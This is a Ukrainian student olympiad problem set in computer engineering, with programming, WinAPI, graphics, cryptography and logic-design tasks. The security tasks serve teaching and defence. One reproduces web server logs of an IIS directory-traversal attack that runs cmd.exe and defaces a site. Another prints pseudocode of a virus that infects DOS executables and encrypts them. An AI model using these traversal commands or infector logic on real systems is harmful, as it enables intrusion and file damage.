Реферат: Всеукраїнська студентська олімпіада

Всеукраїнська студентська олімпіада

за напрямом

«Комп’ютерна інженерія»

Спонсор – http://wellink.zp.ua http://it-olymp.zntu.edu.ua


Максимальна кількість балів за кожну дисципліну 60.

Файли відповідей називати за номером завдання (наприклад: для завдання 1.1 файл розв’язку повинен називатися 1-1.cpp, для завдання 4.1 файл розв’язку повинен називатися 4-1.doc). Якщо розв’язок на завдання складається з декількох файлів, тоді їх потрібно додати до архіву (наприклад: для завдання 3.1 файл розв’язку повинен називатися 3-1.rar).


1 Програмування (мови C/С++)


Для перевірки своїх рішень на робочих місцях надані наступні компілятори:

– Borland C++ 3.1 (з пакетом TASM);

– Visual C++ 6.0;

– GNU C/C++.


Надсилаючи розв’язок необхідно зазначити компілятор (зі списку), який потрібно використовувати при перевірці. Компіляція буде виконуватись із використанням опцій компілятора по замовчуванню.


^ УВАГА! Суворо дотримуйтесь форматів файлів і схеми їх іменування. Недотримання цих правил може призвести до повного або часткового незарахування розв’язку.


1.1 (Максимальна оцінка – 10 балів)

Розглянемо послідовність перетворень натурального числа. Початковим є число, що містить у своєму десятковому запису не більше 4 цифр.

Перетворення задано наступною послідовністю дій. У десятковому запису вихідного числа послідовність однакових цифр, що йдуть одна за одною, замінюється на послідовність, що є десятковим записом кількості десяткових розрядів у послідовності однакових цифр, та цифру, з якої складається вказана послідовність однакових цифр. Якщо цифра не повторюється, то вона вважається послідовністю однакових цифр із довжиною в один десятковий розряд.

Приклад декількох послідовних перетворень:

108 111018 31101118 1321103118

Необхідно скласти програму, що виконує N послідовних перетворень початкового числа.


У першому рядку файлу 1-1.in міститься число N (1<=N<=25). У наступному рядку міститься початкове натуральне число, що містить у своєму десятковому запису не більше 4 цифр.

До файлу 1-1.out потрібно записати результат N перетворень вихідного натурального числа.


Обмеження на час виконання програмою одного тесту – 1 сек.


Приклад:


файл “1-1.in”

файл “1-1.out”

3

108

1321103118



1.2 (Максимальна оцінка – 15 балів)

Нехай A – масив, що складається з N елементів A1, ..., AN. Позначимо його максимальне і мінімальне значення як max(A) та min(A), відповідно. Обчислимо суму елементів S, тобто S = A1 + A2 + ... + AN. Зробимо заміну кожного елементу масиву на різницю S і цього елемента, тобто Ai := S   Ai, 1 < i < N. Таке перетворення масиву A назвемо операцією OBFUSCATE.

Створіть програму, яка з масиву B, що був отриманий у результаті K кратного застосування операції OBFUSCATE до деякого масиву A, обчислить різницю max(A)-min(A).


Перший рядок файлу 1-2.in містить цілі числа N і K, де N - кількість елементів масиву B (2 < N < 10000), а K - кількість застосувань операції OBFUSCATE до початкового масиву A, 1 < K < 100. Другий рядок файлу містить N елементів масиву B. Елементи масиву B - цілі числа, що належать до діапазону від -2 000 000 000 до 2 000 000 000.

Єдиний рядок файлу 1-2.out повинен містити ціле число, що є різницею max(A) і min(A).


Обмеження на час виконання програмою одного тесту – 1 сек.


Приклад:


файл “1-2.in”

файл “1-2.out”

4 2

45 52 47 46

7



1.3 (Максимальна оцінка – 15 балів)

Написати програму, що допоможе архітектору визначити силует міста. Силуети усіх будівель є прямокутними, фундаменти усіх будівель знаходяться на одній висоті. Силует міста є двовимірним. Будівлі задані трійками чисел (Li Hi Ri), де Li і Ri – ліва і права координати силуету будівлі, а Hi – висота будівлі.

Наприклад, на наведеному малюнку будівлям відповідають трійки чисел:

(1,11,5), (2,6,7), (3,13,9), (12,7,16), (14,3,25), (19,18,22), (23,13,29), (24,4,28),

а силуету міста відповідає наступна послідовність:

(1, 11, 3, 13, 9, 0, 12, 7, 16, 3, 19, 18, 22, 3, 23, 13, 29, 0)


Вихідний файл 1-3.in містить послідовність трійок чисел, що задають будівлі у місті. Всі координати є цілими і додатними числами, що не перевищують 10000. У файлі буде не менше однієї і не більше 5000 трійок чисел. Кожна трійка чисел починається з нового рядка. У межах одного рядка числа відокремлені довільною кількістю пропусків і символів табуляції.

Вихідні дані впорядковані за зростанням лівої координати будівлі. Наприклад, будівля із найменшою лівою координатою буде зазначена першою.

Послідовність, що відповідає силуету міста, необхідно вивести до файлу 1 3.out. Кожній зміні висоти лінії силуету відповідають два числа: координата, починаючи з якої висота силуету змінилася, і власне висота лінії силуету. Останнім числом у файлі з результатом має бути число 0. Всі числа послідовності необхідно розташувати на одному рядку.





Обмеження на час виконання програмою одного тесту – 1 сек.


Приклад:


файл “1-3.in”

файл “1-3.out”

1 11 5

2 6 7

3 13 9

12 7 16

14 3 25

19 18 22

23 13 29

24 4 28

1 11 3 13 9 0 12 7 16 3 19 18 22 3 23 13 29 0



1.4 (Максимальна оцінка – 20 балів)

Необхідно обчислити кількість N-значних чисел у системі числення з основою K таких, що їх запис не містить двох нулів, що йдуть один за одним. Обмеження: 2<=K<=10; 2<=N; 4<=N+K<=180.

Вихідний файл 1-4.in містить числа N і K у десятковому запису. Числа відокремлені пропуском або символом нового рядка.

У файл 1-4.out необхідно вивести шукану кількість чисел у десятковому запису.


Обмеження на час виконання програмою одного тесту – 2 сек.


Приклад:


файл “1-4.in”

файл “1-4.out”

2

10

90


2 Системне програмування

2.1 (Максимальна оцінка – 15 балів) (WinAPI, GDI, C/C++)

Написати програму, після запуску якої, будь-яке вікно, над яким знаходиться курсор миші, стає обрамованим прямокутником світло-зеленого кольору (межі вікна виділити).


2.2 (Максимальна оцінка – 10 балів) (WinAPI, C/C++)

Написати програму, головне вікно якої має вигляд емблеми «Олімпіади з комп’ютерної інженерії». У верхньому краю емблеми вікно повинне мати панель Заголовку та Меню. Панель Заголовку має складатися з кнопок мінімізації та закриття. Меню програми ­– пункт «About», за допомогою якого можна дізнатися назву команди виконавця.





2.3 (Максимальна оцінка – 20 балів) (WinAPI, C/C++)

Створити програму, що малює коло з початковим радіусом 50 пікселів у центрі “Робочого столу” системи Windows, при натисканні і утриманні комбінації «Shift + ↑» збільшувати радіус кола, при натисканні і утриманні комбінації «Shift + ↓» зменшувати радіус кола, а якщо натиснуто кнопки стрілок (керування курсором) – то переміщувати коло на деяку величину вверх, вниз, вліво або вправо. Вийти з програми при натисканні «ESC».


2.4 (Максимальна оцінка – 15 балів) (WinAPI, C/C++)

Відомо, що комп’ютер було інфіковано «вірусом», який використовує уразливість Інтернет-бравзера та виконується в каталозі, який вказано в змінній оточення %ТЕМР%. Написати програму, що відображає перелік процесів у системі, що виконуються з цього каталогу.

^ 3 Комп’ютерна графіка

Файли завдань знаходяться в електронній системі “Moodle”.


3.1 (Максимальна оцінка – 10 балів)


Тема. Тонова, кольорова корекція, ретуш та фотомонтаж графічних зображень.

Завдання. Необхідно з наданих фотографій отримати ті, що надані як зразки.
Вихідні дані.

Вхідні файли зображень в форматі JPG.

Вихідні файли зображень-зразків в форматі JPG.

Вимоги

Робота виконується в растровому графічному редакторі Adobe Photoshop.

Результат

Файли зображень в форматі JPG, архівовані в один файл формату RAR.



3.2 (Максимальна оцінка – 10 балів)


Тема. Створення ілюстрації в векторному графічному редакторі.

Завдання. Необхідно створити у векторному вигляді зображення логотипу у відповідності до виданого в растровому вигляді завдання.
Вихідні дані.

Вхідний файл зображень в растровому форматі JPG.

Вимоги

Робота виконується у векторному графічному редакторі Adobe Illustrator.

Об’єкти вихідного векторного зображення повинні мати оптимальну кількість вузлів.

Результат

Файл зображень в векторному форматі AI.



3.3 (Максимальна оцінка – 20 балів)


Тема. Створення анімації за допомогою Flash-технології.

Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.

Файл анімації у форматі SWF.

Вимоги

Робота виконується в графічному редакторі Macromedia Flash.

Результат

Файл анімації в форматі FLA.



3.4 (Максимальна оцінка – 20 балів)


Тема. Створення інтерактивної анімації за допомогою Flash-технології.

Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.

Файл анімації у форматі SWF.

Вимоги

Робота виконується в графічному редакторі Macromedia Flash.

Результат

Файл анімації в форматі FLA.



3.1

Вихідні зображення Результат
















3.2


Вихідне зображення




3.3


Вихідний файл анімації




3.4


Вихідний файл анімації




4 Захист інформації

Файли результатів відправляти в форматі Microsoft Word.


4.1 Атака (Максимальна оцінка – 15 балів)

Проаналізувати атаку на Web-сервер невеликої коммерційної установи, в ході якої сайт фірми замінили сторінкою з повідомленням від зловмисника. Хід атаки зафіксовано в наступних записах лог-файла Web-сервера:


03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 3 1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\inetpub\ 200 7 49 492 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows +98)

03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../,./winnt/system32/cmd.exe /c+dir+c:\inetpub\wwwroot 200 1124 499 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0; +Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /'mmc.gif - 404 3387 440 0 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /index.html - 200 228 484 0 www.victim.com Mozilla/4.0+(compat ible;+MSIE+5.0;+Windows+98) http://www.victim.com/buzzxyz.html

03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+rename+d:\wwwroot\det our.html+detour.html.old 502 355 522 31 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows+9 8)

03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+md+c:\ArA\ 502 355 48 8 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:\winnt\system3 2\cmd.Exe+c:\ArA\cmdl.exe 502 382 524 125 www.victim.com Mozilla/4. 0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmdl.exe /c+echo+HSKK/title> * * * *SCRIPT+KIDZ, INC* * * */hlxbr>^ Друзі+Mої, +ви+тепер+повністю+ належите+мені.+Я+тут,+а+де+ваш+ захист?+А+нема+його+ більше! Хто+мені+не+вірить, +той+може+перевірити+захист+ системи."+»+c:\ArA\default.htm 502 355 763 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:08 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmdl.exe /c+rename+d:\wwwroot\index.html+index.html.old 502 355 511 16 www.victim.com Mozilla/4.0+(compatible; +MSIE+5.0;+Windows+98)

03/03/2001 4:10 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80GET /scripts/../../ArA/cmdl.exe /c+copy+c:\ArA\default.htm+d:\wwwr oot\index.html 502 382 514 31 www.victim.com Mozilla/4.0+(compatibl e;+MSIE+5.0;+Windows+98)

03/03/2001 4:11 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80

GET /index.html - 200 276 414 15 www.victim.com Mozilla/4.0+(compatible ? +MSIE+5.0;+Windows+98)


Визначити:

1. Які слабкі місця захисту використав зловмисник для зламу Web-сервера?

2. Як йому вдалося замісти сліди?

Запропонувати методи захисту від повторення подібної атаки.





^ 4.2 Алгоритм RSA (Максимальна оцінка – 20 балів)


По відкритому ключу (, ) = (2047, 179) алгоритму RSA знайдіть секретний ключ (, ). Визначте максимально можливий бітовий розмір блоку відкритого тексту.







^ 4.3 Подвійний квадрат (Максимальна оцінка – 10 балів)


Розшифрувати повідомлення


Н

С

Ь

В

Ж

Б

Т

Ь

З

Щ

Х

Б

Т

,



яке було зашифроване за допомогою «подвійного квадрату» Уітстона


Ж

Щ

Н

Ю

Р




І

Ч

Г

Я

Т

И

Т

Ь

Ц

Б




,

Ж

Ь

М

О

Я

М

Е

.

С




З

Ю

Р

В

Щ

В

Є

П

Ч







Ц

:

П

Е

Л

:

Д

У

О

К




Ї

А

Н

.

Х

З

І

Ф

Г

Ш




И

К

С

Ш

Д

Х

А

,

Л

Ї




Б

Ф

У

Є










4.4 Вірус (Максимальна оцінка – 15 балів)




Проаналізуйте текст шкідливої програми в псевдокодах, визначите принцип її дії та можливу шкоду. Запропонуйте методи захисту від таких програм.


{***************************************************************************}

константи


^ EXE_NAME_OFFSET = $A3E; {

PASSWORD_OFFSET = EXE_NAME_OFFSET+$29;


типи


Bytefile = file of byte;


Charfile = file of char;


змінні


VIRUS_SIZE: longint;

{***************************************************************************}

процедура ResetFile(var file_handle:Bytefile; file_name:string);


почати


присвоїти(file_handle,file_name);


скинути(file_handle);


якщо IOResult<>0 то почати написати('file "'); написати(file_name);


написати('" was not open.'); прочитати; почекати(1); кінець;


кінець;

{***************************************************************************}

процедура ResetCharFile(var file_handle:Charfile; file_name:string);


почати


присвоїти(file_handle,file_name);


скинути(file_handle);

якщо IOResult<>0 то почати написати('file "'); написати(file_name);


написати('" was not open.'); прочитати; почекати(1); кінець;


кінець;

{***************************************************************************}

процедура MoveBytes(var source_file, dest_file: Bytefile;


pos1, pos2, amount: longint);


змінні


i: integer;


Buffer: byte;


почати


для i:=0 до amount-1 виконати


почати


пошук(source_file,pos1);


прочитати(source_file,Buffer);


pos1:=FilePos(source_file);


пошук(dest_file,pos2);


записати(dest_file,Buffer);


pos2:=FilePos(dest_file);


кінець;


кінець;

{***************************************************************************}

процедура ImplantStringInExe(exe_name,impl_st: string; offset: longint);


змінні


exe_file: Charfile;


i: integer;


почати


ResetCharFile(exe_file,exe_name);


поиск(exe_file,offset);


для i:=0 до length(impl_st) виконати


записати(exe_file,impl_st[i]);


закрити(exe_file);


кінець;

{***************************************************************************}

процедура GenerateSecretKey(file_name: string; var secret_key: longint);


змінні


file_handle:Bytefile;


bt: byte;


i: integer;


почати


ResetFile(file_handle,file_name);


secret_key:=0;


для i:=0 до $1b виконати


почати


прочитати(file_handle,bt);


secret_key:=secret_key+bt;


кінець;


закрити(file_handle);


кінець;

{***************************************************************************}

процедура Shifrate(file_name:string; secret_key: longint);


змінні


i: integer;


io_file: Bytefile;


Buffer: byte;


pos: longint;


почати


ResetFile(io_file, file_name);


randseed:=secret_key;


пошук(io_file,VIRUS_SIZE);


для i:=VIRUS_SIZE до FileSize(io_file)-1 виконати


почати


pos:=FilePos(io_file);


прочитати(io_file,Buffer);


Buffer:=random(256) xor Buffer;


пошук(io_file,pos);


записати(io_file,Buffer);


кінець;


закрити(io_file);


кінець;

{***************************************************************************}

процедура ShifrateString(secret_key: longint; var st: string);


змінні


i: integer;


почати


randseed:=secret_key;


для i:=1 до length(st) виконати


st[i]:=chr(ord(st[i]) xor random(256));


кінець;

{***************************************************************************}

змінні


exe_name,virpatch_name,password: string;


pos1,pos2,exe_size,limit,secret_key: longint;


exe_file, virpatch_file: Bytefile;


почати


написати('Input the name of a DOS exe-file in this folder');


написати('to be infected (with extention):');


прочитати(exe_name);


virpatch_name:='vpatch.vrs';


ResetFile(exe_file,exe_name);


ResetFile(virpatch_file,virpatch_name);


VIRUS_SIZE:=FileSize(virpatch_file);


pos1:=0;


exe_size:=FileSize(exe_file);


якщо exe_size>= VIRUS_SIZE


то begin pos2:=exe_size; limit:=VIRUS_SIZE; кінець


інакше begin pos2:=VIRUS_SIZE; limit:=exe_size; кінець;


MoveBytes(exe_file,exe_file,pos1, pos2, limit);


pos1:=0;


pos2:=0;


MoveBytes(virpatch_file,exe_file,pos1, pos2, VIRUS_SIZE);


закрити(exe_file);


закрити(virpatch_file);


GenerateSecretKey(virpatch_name,secret_key);


написати('Input the password (max. 32 characters): '); прочитати(password);


ShifrateString(secret_key,password);


ImplantStringInExe(exe_name,exe_name,EXE_NAME_OFFSET);


ImplantStringInExe(exe_name,password,PASSWORD_OFFSET);


Shifrate(exe_name,secret_key);


написати('The file "'); написати(exe_name); написати('" was successfully infected.');


написати('Press "Enter."');


прочитати;


кінець.






^ 5 Прикладна теорія цифрових автоматів


5.1 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)

Створити цифровий пристрій у вигляді комбінаційної схеми (КС) мажоритарного елементу, що реалізує функцію голосування (вибір з 3-х каналів входу F1, F2 , F3 одного F на виході) із використанням додаткової КС, функція якої - вказати на номер помилкового каналу кодом А0А1. Рішення виконати в оболонці симулятора Electronics Workbench (EWB, free demoversion) на реальних або віртуальних схемах: мультиплексорах 2 в 1 і/або елементах базисів Пірса, Шефера, Жегалкіна, Буля.

Надано:

1. Таблицю істинності мажоритарного елементу «з 3-х в 1» із додатковими кодами А0А1 номеру каналу, що відмовив (код А1А0, що дорівнює 00, вказує на те, що всі три канали передали вірні біти);

Симулятор Electronics Workbench (EWB, free demoversion) для побудови схеми створених КС (без перевірки їх функціонування).

F

F2

F3

F

А0

А1

0

0

0

0

1

1

1

1

0

0

1

1

0

0

1

1

0

1

0

1

0

1

0

1

0

0

0

1

0

1

1

1

0

1

1

0

0

1

1

0

0

1

0

1

1

0

1

0

Треба отримати та надати:

Аналітичні та найбільш мінімізовані вирази для функцій F і А1А0;

Файл із побудованою схемою в оболонці EWB.

Критерії оцінювання:

Вірність отриманих аналітичних виразів для функцій F і А0А1;

Глибина та оригінальність підходів при мінімізації;

Найменша кількість елементів, використаних для побудови функцій і каскадів перетворення.


5.2 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)

Надано: граф-схема алгоритму (ГСА) функціонування моделі цифрового автомата (ЦА) Мура для прийому одного комунального платежу (наприклад, за електроенергію) паперовими купюрами.

^ Треба отримати та надати:

Таблицю кодів станів ЦА на основі Т тригерів, вказати кількість Т тригерів, необхідних для реалізації ЦА;

Максимально мінімізовані функції збудження Т тригерів і вихідних сигналів Уi.



Критерії оцінювання:

1. Наявність таблиці переходів-виходів автомата Мура.

2. Вірність отриманих аналітичних виразів для функцій збудження Т тригерів, оптимізація кількості їх перемикань при зміні станів ЦА;

3. Глибина та оригінальність підходів при мінімізації функцій збудження Т тригерів і вихідних слів Уі.


5.3 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)


Надано: карта Карно для функції з 5 змінних:



Треба отримати та надати:

1. Аналітичний вираз (рівняння) для реалізації функції із використанням найменшої кількості логічних схем (дозволено використання елементів з 1, 2, …, 8 логічними входами будь-якого базису: Пірса, Шефера, Жегалкіна, Буля).

Схему з мінімальною кількістю необхідних логічних елементів в симуляторі Electronics Workbench (без перевірки їх функціонування).

Критерії оцінювання:

1. Глибина та оригінальність підходів при мінімізації;

2. Найменша кількість елементів, використаних для побудови функції.


5.4 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)


Створити схему постійного запам`ятовуючого пристрою (ПЗП) розміром 1 х 8 на основі запропонованих типів схем.

Надано:

1. Будь-яка кількість мультиплексорів 2 в 1 і схеми базису Буля;

Симулятор побудови схем - Electronics Workbench (EWB, free demoversion);

Треба отримати та надати:

Таблицю істинності (ТІ) функціонування ПЗП;

Обґрунтування можливості (або неможливості) його створення.

Критерії оцінювання:

1. Відповідність ТІ та оригінальність підходів що до її отримання;

2. Найменша кількість елементів, використаних для побудови ПЗП.


Конкурсні завдання (перший тур) стор.